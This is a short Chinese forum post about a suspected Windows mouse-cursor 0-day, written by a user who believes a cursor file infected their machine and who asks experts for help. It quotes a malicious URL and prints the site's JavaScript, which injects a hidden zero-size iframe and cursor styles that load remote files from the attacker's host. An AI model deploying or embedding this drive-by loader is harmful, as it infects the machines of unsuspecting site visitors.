.GIF)
windows可能存在鼠标指针0-day漏洞
cisrt博客上的描述:
http://www.cisrt.org/blog/read.php?301以下是利用该漏洞一个恶意地址挂马地址：
http://web.77276.com/adv.js?showmatrix_num=056代码如下：
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"http://web.77276.com/1/"+u_num+".htm\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META http-equiv=Content-Type content=\"text\/html; charset=big5\">");
document.writeln("<META content=\"MSHTML 6.00.2900.3059\" name=GENERATOR><\/HEAD>");
document.writeln("<BODY> ");
document.writeln("<DIV style=\"CURSOR: url(\'http:\/\/web.77276.com\/muxiao1.jpg\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'http:\/\/web.77276.com\/muxiao2.jpg\')\"><\/DIV><\/DIV><\/BODY><\/HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}
我今天中了个 muxiao2.jpg的木马
可能跟这个有关
所以发表一下
希望高手赐教
